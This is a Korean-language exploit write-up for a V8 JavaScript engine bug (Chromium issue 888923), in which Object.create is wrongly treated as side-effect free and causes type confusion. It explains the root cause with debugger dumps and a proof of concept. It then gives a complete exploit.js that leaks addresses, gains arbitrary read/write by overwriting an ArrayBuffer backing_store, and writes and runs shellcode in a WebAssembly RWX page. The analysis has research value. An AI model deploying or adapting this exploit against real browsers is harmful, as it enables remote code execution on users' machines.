ref

- https://bugs.chromium.org/p/chromium/issues/detail?id=888923
- https://chromium.googlesource.com/v8/v8.git/+/52a9e67a477bdb67ca893c25c145ef5191976220%5E%21/#F0

 # Build

빌드는 js-operator.cc의 CreateObject 부분 딱 한 줄만 수정해주면 됩니다.
이후 빌드는 늘 하던 대로 !

```
---Patch Apply !---

./build/install-build-deps.sh
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
```

문제는 다음과 같은 코드에서 발생한다.

 # $PATH/src/compiler/js-operator.cc

```
V(CreateObject, Operator::kNoWrite, 1, 1)                          \
```

이것만 놓고보면, 왜 취약한지 이해가 어렵다.
CreateObject의 Property로 kNoWrite라는 것이 있다.

 # $PATH/src/compiler/operator.h

```
class V8_EXPORT_PRIVATE Operator : public NON_EXPORTED_BASE(ZoneObject) {
public:
  typedef uint16_t Opcode;

  // Properties inform the operator-independent optimizer about legal
  // transformations for nodes that have this operator.
  enum Property {
    kNoProperties = 0,
    kCommutative = 1 << 0,  // OP(a, b) == OP(b, a) for all inputs.
    kAssociative = 1 << 1,  // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
    kIdempotent = 1 << 2,   // OP(a); OP(a) == OP(a).
    kNoRead = 1 << 3,       // Has no scheduling dependency on Effects
    kNoWrite = 1 << 4,      // Does not modify any Effects and thereby
                            // create new scheduling dependencies.
    kNoThrow = 1 << 5,      // Can never generate an exception.
    kNoDeopt = 1 << 6,      // Can never generate an eager deoptimization exit.
    kFoldable = kNoRead | kNoWrite,
    kKontrol = kNoDeopt | kFoldable | kNoThrow,
    kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
    kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
  };
```

강조된 부분을 살펴보면, 이 Property는 optimizer에게 일종의 flag 값으로 사용되는데, 어떻게 최적화를 해야할 지 알려주게 된다.
CreateObject의 경우, kNoWrite가 설정되어있다.
kNoWrite의 경우, side-effect가 없다고 가정하는데, 이 side-effect라는 것은 해당 operation을 수행함에 있어서, 말 그대로 의도한 행위 이외의 영향을 주는지 체크하는 것을 말한다.
그래서 이 플래그를 가지고 최적화가 되면, side effect가 없다고 가정한 최적화 코드가 생성되고, 이 최적화된 코드는 side-effect check code가 사라진 코드가 되는 것이다.

 # from MDN

> The `Object.create()` method creates a new object, using an existing object as the prototype of the newly created object.

하지만, CreateObject [***Object.create(proto)***]의 경우, 만약 인자로 사용된 object가 처음 prototype 형태의 인자로 사용된 경우, 이 prototype object의 property가 변경되게 된다.
이 점에서 side-effect free라는 flag가 잘못된 가정이라는 것이다.

예를 들어서, 해당 Object가 PropertyArray인 경우, Object.create로 사용된 이후에는, NameDIctionary로 바뀌게된다.
 # example.js

```
// Object v is PropertyArray
let v = {x: 0x1337, y: 0xcafe};
%DebugPrint(v);

Object.create(v);
%DebugPrint(v);
```

 # First %DebugPrint

```
DebugPrint: 0x1303a838e1d9: [JS_OBJECT_TYPE]
- map: 0x12b86350c9d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3f30f07046d9 <Object map = 0x12b8635022f1>
- elements: 0x343856e82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x343856e82cf1 <FixedArray[0]> {
    #x: 4919 (data field 0)
    #y: 51966 (data field 1)
}
```

 # Second %DebugPrint

```
DebugPrint: 0x1303a838e1d9: [JS_OBJECT_TYPE]
- map: 0x12b86350ca71 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x3f30f07046d9 <Object map = 0x12b8635022f1>
- elements: 0x343856e82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1303a838e289 <NameDictionary[29]> {
   #y: 51966 (data, dict_index: 2, attrs: [WEC])
   #x: 4919 (data, dict_index: 1, attrs: [WEC])
}
```

위의 예시에서 알 수 있듯이, Object.create가 호출되고나면, FastProperties에서 DictionaryProperties로 변경되게된다.
하지만, kNoWrite 때문에, JIT code에서는 Object.create가 호출된 이후에도, 해당 prototype으로 사용된 Object에는 변화가 없다고 가정하고, 기존의 FastProperties Object인 것으로 판단하고 코드를 실행하게된다.
즉, 이 부분에서 ***type confusion***이 발생하는 것이다.

 # poc

```
(function() {
  function f(o) {
    let a = o.y;        // 21
    Object.create(o);
    return o.x + a;     // o.x + 21
  }

  f({ x : 42, y : 21 });
  f({ x : 42, y : 21 });

  // type feedback -> x, y is signed SMI
  %OptimizeFunctionOnNextCall(f);
  let val = f({ x : 42, y : 21 });
  // expect 63
  // but, output is 21
  console.log(val);
})();
```

간단한 예제를 통해 디버깅해보니, 다음과 같은 결과가 나왔다.

```
function poc(o){
    let a = o.y;
    Object.create(o);
    return o.p10 + a;
}

function trigger(){
    for(let i = 0; i < OptimizeNum; i++){
        let prop = {x: 42, y: 21};

        for(let j = 0; j < 0x20; j++){
            eval(`prop.p${j} = ${j}`);
        }

        let leak = poc(prop);
        if( leak != 40 ){
            console.log(leak);
            return leak;
        }
    }
}

trigger();

# result
4821

asiagaming-peda$ job *args.values_
0x34e9d6718c49: [JS_OBJECT_TYPE]
- map: 0x21c07fa9b661 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x3df30f3846d9 <Object map = 0x21c07fa822f1>
- elements: 0x224a22d82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x34e9d671adc1 <NameDictionary[197]> {
   #p7: 7 (data, dict_index: 10, attrs: [WEC])
   #p15: 15 (data, dict_index: 18, attrs: [WEC])
   #p25: 25 (data, dict_index: 28, attrs: [WEC])
   #p20: 20 (data, dict_index: 23, attrs: [WEC])
   #p3: 3 (data, dict_index: 6, attrs: [WEC])
   #p28: 28 (data, dict_index: 31, attrs: [WEC])
   #p23: 23 (data, dict_index: 26, attrs: [WEC])
   #p4: 4 (data, dict_index: 7, attrs: [WEC])
   #p5: 5 (data, dict_index: 8, attrs: [WEC])
   #p11: 11 (data, dict_index: 14, attrs: [WEC])
   #y: 21 (data, dict_index: 2, attrs: [WEC])
   #p16: 16 (data, dict_index: 19, attrs: [WEC])
   #p2: 2 (data, dict_index: 5, attrs: [WEC])
   #p1: 1 (data, dict_index: 4, attrs: [WEC])
   #p8: 8 (data, dict_index: 11, attrs: [WEC])
   #p14: 14 (data, dict_index: 17, attrs: [WEC])
   #p0: 0 (data, dict_index: 3, attrs: [WEC])
   #p21: 21 (data, dict_index: 24, attrs: [WEC])
   #p31: 31 (data, dict_index: 34, attrs: [WEC])
   #p26: 26 (data, dict_index: 29, attrs: [WEC])
   #p27: 27 (data, dict_index: 30, attrs: [WEC])
   #p9: 9 (data, dict_index: 12, attrs: [WEC])
   #p13: 13 (data, dict_index: 16, attrs: [WEC])
   #p6: 6 (data, dict_index: 9, attrs: [WEC])
   #p18: 18 (data, dict_index: 21, attrs: [WEC])
   #p24: 24 (data, dict_index: 27, attrs: [WEC])
   #p30: 30 (data, dict_index: 33, attrs: [WEC])
   #p29: 29 (data, dict_index: 32, attrs: [WEC])
   #p19: 19 (data, dict_index: 22, attrs: [WEC])
   #p12: 12 (data, dict_index: 15, attrs: [WEC])
   #p10: 10 (data, dict_index: 13, attrs: [WEC])
   #p17: 17 (data, dict_index: 20, attrs: [WEC])
   #p22: 22 (data, dict_index: 25, attrs: [WEC])
   #x: 42 (data, dict_index: 1, attrs: [WEC])
}


asiagaming-peda$ tel 0x34e9d671adc0 40
0000| 0x34e9d671adc0 --> 0x224a22d83669 --> 0x224a22d822
0008| 0x34e9d671adc8 --> 0xc500000000
0016| 0x34e9d671add0 --> 0x2200000000 ('')
0024| 0x34e9d671add8 --> 0x0
0032| 0x34e9d671ade0 --> 0x4000000000 ('')
0040| 0x34e9d671ade8 --> 0x2300000000 ('')
0048| 0x34e9d671adf0 --> 0x0
0056| 0x34e9d671adf8 --> 0x3df30f3a4ff1 --> 0xfe0000224a22d825
0064| 0x34e9d671ae00 --> 0x700000000
0072| 0x34e9d671ae08 --> 0xac000000000
0080| 0x34e9d671ae10 --> 0x3df30f3a6099 --> 0x20000224a22d825
0088| 0x34e9d671ae18 --> 0xf00000000
0096| 0x34e9d671ae20 --> 0x12c000000000
```

singed SMI 연산에서, 21과 (0x12c0 >> 32)를 연산하게되면, 위와 같은 결과가 나오게 된다.
일반적으로 Dictionary 형태로 변환이 안되었을 때, 어떻게 접근이 되냐하면 다음과 같다.

```
asiagaming-peda$ tel 0x1b907eb93610 40
0000| 0x1b907eb93610 --> 0x2c3800b83899 --> 0x2c3800b822
0008| 0x1b907eb93618 --> 0x2100000000 ('')
0016| 0x1b907eb93620 --> 0x0
0024| 0x1b907eb93628 --> 0x100000000
0032| 0x1b907eb93630 --> 0x200000000
0040| 0x1b907eb93638 --> 0x300000000
0048| 0x1b907eb93640 --> 0x400000000
0056| 0x1b907eb93648 --> 0x500000000
0064| 0x1b907eb93650 --> 0x600000000
0072| 0x1b907eb93658 --> 0x700000000
0080| 0x1b907eb93660 --> 0x800000000
0088| 0x1b907eb93668 --> 0x900000000 ('')
0096| 0x1b907eb93670 --> 0xa00000000 ('')
```

Properties 멤버를 하나의 배열로 보고, index 접근을 하게 된다.
Dictionary Object를 index 접근을 할 때, 기존의 순서와는 다른 형태의 순서를 가지게된다.
그렇기 때문에, Object.create 이후, Dictionary로 conversion 된 다음의 Object 상의 특정 property와 잘못된 최적화로 인해 다른 property가 서로 overlapping 되는 상황이 발생한다.

사무엘 그룹의 write-up에서도 동일하게 얘기를 하지만, 다음과 같은 pseudo code를 생각해보자.

```
let o = {x: 1337, y: 1338};
console.log(o.x) => 1337
Object.create(o);
console.log(o.x) => 1338??
```

위와 같이, 동일한 property에 접근했는데, 다른 값이 나올 수 있다는 것이다.
물론, 지금 현재 코드에서는 완전 reliable하게 되지는 않지만, 이 점을 활용하여, leak primitive 뿐만 아니라, arbitrary R/W까지 만들어낼 수 있다.

그러면 이 상황에서 어떻게 Leak을 하고, Arbitrary R/W를 만들지 생각해보자.

 # Leak

일단 하나의 Object 내의 property는 당연히 다양한 Object type을 가질 수 있다.
하지만, leak을 위해서는 unboxed double 형태로 가져와야 한다.
왜냐하면, 정수형의 경우엔 상위 32바이트 값으로 가져오기 때문에, 온전히 값을 가져올 수 없기 때문이다.

그렇다면, property를 unboxed double로 유지한 채로 어떻게 이후에 접근할 때도 Object의 주소를 가져올 수 있을까?
다음과 같은 코드를 생각해보자.

```
let x = {x: 1337, y: 1338};
x.p10 = {x: 13.37, y: 13.38};
x.p27 = {x: ArrayBuffer Object};
```

만약, value overlapping이 p10 - p27 이렇게 두 개의 쌍에서 발생했다고 가정해보자.
아까와 같은 상황을 생각해본다면, Object.create 이전에 x.p10을 하면 당연히 p10을 가져올테지만, 버그가 발생한 이후에는 p10에 접근해도 p27을 가져오게 될 것이다.

동일하게, x.p10.x를 가져온다고 생각하면, 이는 당연히 unboxed double 값을 가져온다고 생각하므로, feedback에 의해, 버그가 발생한 이후에도 동일하게 접근하여 값을 가져오게 될 것이다.

그래서 버그가 발생한 후에 x.p10.x를 하게되면 실제로는 x.p27.x를 unboxed double 값으로 가져오는 것이랑 동일한 효과를 보는 것이다.
이 점을 이용하여 leak을 할 수 있다.

뿐만 아니라, 동일한 원리로 unboxed double 형태로 값을 가져오는 코드에서, 값을 써넣는 코드 한 줄만 추가하면 partial overwrite를 할 수 있다.
ArrayBuffer의 backing_store를 덮는다고 가정해보자.
ArrayBuffer의 내부 구조체는 다음과 같다.

```
pwndbg> job *args.values_
0xf283400a8e1: [JSArrayBuffer]
- map: 0x33c59db021b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1de16c08dd29 <Object map = 0x33c59db02209>
- elements: 0x1decb7a80c21 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x56078d6fa320
- byte_length: 16
- detachable
- properties: 0x1decb7a80c21 <FixedArray[0]> {}
- embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
}

pwndbg> x/20gx 0xf283400a8e0
0xf283400a8e0:    0x000033c59db021b9    0x00001decb7a80c21
0xf283400a8f0:    0x00001decb7a80c21    0x0000000000000010
0xf283400a900:    0x000056078d6fa320    0x0000000000000002
```

DataView 등을 사용하여 Arbitrary R/W를 할 때, ArrayBuffer에 대하여 backing_store의 검사만 존재한다고 생각하면 편하다.
backing_store는 object 위치로부터, 0x20만큼 떨어진 위치에 존재한다.

이 값을 바꿔줄 수 있으면 OOB가 필요없이, type confusion을 바탕으로 Arbitrary R/W를 할 수 있게 된다.
그러면 Javascript에서 Optimized된 코드에서 Object에 대한 멤버 접근은 offset이 어떻게 되는지 확인해봐야한다.

사실 따로 확인해볼 필요도 없이, 위에서 offset 접근에 대한 테스트를 바탕으로 보면, 0x20은 2번째 멤버를 접근하면 된다.
코드를 만드는 도중에, 생각했던대로 overwrite가 잘안되서 이것 저것 코드를 조금씩 고치다보니 이상한 코드가 되어버렸다.

아무튼, ArrayBuffer backing_store를 수정하고나면, 이 수정된 ArrayBuffer를 통해서 해당 Heap에 할당된 Object들을 수정할 수 있다.
현재 익스플로잇 코드에서는 다음과 같은 메모리 형태를 가지고 있다.

```
(ArrayBuffer) | (ArrayBuffer) | (Unboxed double array) | (array) | (ArrayBuffer)
```

unboxed double array를 사용할 일이 있을까 했는데, 사실 안써도 상관이 없어서 없어져야하는 코드이다.
첫 번째 ArrayBuffer의 object부분부터 쓸 수 있으니, 뒷 쪽에 있는 어느 ArrayBuffer의 backing_store를 덮어도 상관없다.

leak와 arbitrary r/w를 다 할 수 있으므로, 나머지는 rop payload를 구성한다던가, rwx page에 shellcode를 올리는 방식을 선택할 수 있다.
rwx page에 shellcode를 올리는 방법은 wasm을 사용하면된다. 🙂

 # exploit.js

```
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }


let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);


function d2u(v) {
    f64[0] = v;
    return u32;
}


function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64;
}


function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}


function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }
}


/* exploitation */


let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4,
1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105,
105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let overlapped_index = undefined;


// Find overlapping index
// i use index 21, and find another one
function foo(o) {
    let a = o.y;
    Object.create(o);
    let t = o.p21;
    // overlap !
    o.p21 = 13371338;
    let idx = t - 0x2000;
    return idx;
}


function find_overlapped_index() {
    let o = {x: 0x1337, y: 0x1338};
    for(let i = 0; i < 40; i++) {
        eval(`o.p${i} = ${0x2000 + i}`);
    }


    let idx = foo(o);
    if( idx != 21 && idx > 0 && idx < 40 ) {
        console.log("[-] idx : " + idx);
        eval(`console.log(o.p${idx})`);
        return idx;
    }
    else {
        return 0;
    }
}


for(let i = 0; i < 100000; i++) {
    res = find_overlapped_index();
    if (res != 0) {
        // save index
        overlapped_index = res;
        break;
    }
}


// Using overlapped index, Make Arbitrary Read/Write Primitives
function use_vuln(o) {
    let a = o.y;
    Object.create(o);
    val = o.p21.x1;
    return val;
}


function do_leak(obj) {
    // unboxed double array -> to leak some value !
    // 21 -> overlap target
    // idx -> leak !
    let unboxed = {x1: 13.37, x2: 13.38};
    let victim = {y1: obj};
    let o = {x: 0x1337, y: 0x1338};
    for(let i = 0; i < 40; i++) {
        if (i == 21 || i == overlapped_index) {
            if (i == 21) {
                eval(`o.p${i} = unboxed`);
            }
            else {
                eval(`o.p${i} = victim`);
            }
        }
        else {
            eval(`o.p${i} = undefined`);
        }
    }
    val = use_vuln(o);
    return val;
}


function leak(obj) {
    for(let i = 0; i < 100000; i++) {
        v = do_leak(ab);
        if (v != 13.37) {
            lo = d2u(v)[0];
            hi = d2u(v)[1];
            return [lo, hi];
        }
    }
    console.log("fail");
}


let ab = new ArrayBuffer(0x1000);
let ab_victim = new ArrayBuffer(0x1000);
let unboxed_oob = new Array(1.1, 2.2, 3.3);
let leaked = new Array(0xdada, 0xadad, {}, f, 1.1);
let last_ab = new ArrayBuffer(0x1234);


gc();


let [ab_lo, ab_hi] = leak(ab);
console.log("[-] ArrayBuffer Leak : " + hex(ab_lo, ab_hi));
ab_lo -= 1;


args = u2d(ab_lo, ab_hi);


eval(`
    function overwrite_vuln(o) {
        let a = o.y;
        Object.create(o);
        val = o.p21.prop2;
        o.p21.prop2 = ${args};
        return val;
    }`);




function do_overwrite(target) {
    // unboxed double array -> to leak some value !
    // 21 -> overlap target
    // idx -> leak !
    let ob_value = u2d(ab_lo, ab_hi);
    let unboxed_double_array = {prop1: 13.37, prop2: 13.38};
    let o = {x1: 0x1337, x2: 0x1338};
    for(let i = 0; i < 40; i++) {
        if (i == 21 || i == overlapped_index) {
            if (i == 21) {
                eval(`o.p${i} = unboxed_double_array`);
            }
            else {
                eval(`o.p${i} = target`);
            }
        }
        else {
            eval(`o.p${i} = undefined`);
        }
    }


    res = overwrite_vuln(o);
    return res;
}


for(let i = 0; i < 100000; i++) {
    res = do_overwrite(ab_victim);
    if (res != 13.38) {
        break;
    }
}


let dv = new DataView(ab_victim);


// for memory dump


/*
for(let i = 0; i < 60; i++ ){
    dv_lo = dv.getUint32(8 * i, true);
    dv_hi = dv.getUint32(8 * i + 4, true);
    console.log("[ " + i + "] : " + hex(dv_lo, dv_hi));
}
*/


/*
[ 16] : 0x3319-fba82cf9
[ 17] : 0x2e94-f7080c21
[ 18] : 0x38e6-9ccae4f9
[ 19] : 0x3-00000000
[ 20] : 0x2e94-f7081459
[ 21] : 0x3-00000000
[ 22] : 0x3ff19999-9999999a
[ 23] : 0x40019999-9999999a
[ 24] : 0x400a6666-66666666


...


[ 38] : 0xdada-00000000
[ 39] : 0xadad-00000000
[ 40] : 0x2ff1-45899e1
[ 41] : 0x25a4-e139fb29        <- wasm object
[ 42] : 0x25a4-e139e751
[ 43] : 0x64e-2c2021b9
[ 44] : 0x2b87-a8c80c21
[ 45] : 0x2b87-a8c80c21
[ 46] : 0x1234                <- last ArrayBuffer
[ 47] : 0x564e-f2869700
*/


// leak wasm rwx page
wasm_lo = dv.getUint32(8 * 41, true);
wasm_hi = dv.getUint32(8 * 41 + 4, true);


console.log("[-] Wasm Object : " + hex(wasm_lo, wasm_hi));


dv.setUint32(8 * 47, wasm_lo - 1, true);
dv.setUint32(8 * 47 + 4, wasm_hi, true);


dv2 = new DataView(last_ab);
lo = dv2.getUint32(0x18, true);
hi = dv2.getUint32(0x18 + 4, true);


dv.setUint32(8 * 47, lo - 1 - 0xc0, true);
dv.setUint32(8 * 47 + 4, hi, true);


rwx_lo = dv2.getUint32(0, true);
rwx_hi = dv2.getUint32(4, true);


console.log("[-] rwx page leak : " + hex(rwx_lo, rwx_hi));


dv.setUint32(8 * 47, rwx_lo, true);
dv.setUint32(8 * 47 + 4, rwx_hi, true);


var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];


for(let i = 0; i < shellcode.length; i++) {
    dv2.setUint32(i * 4, shellcode[i], true);
}


f(1, 2);
```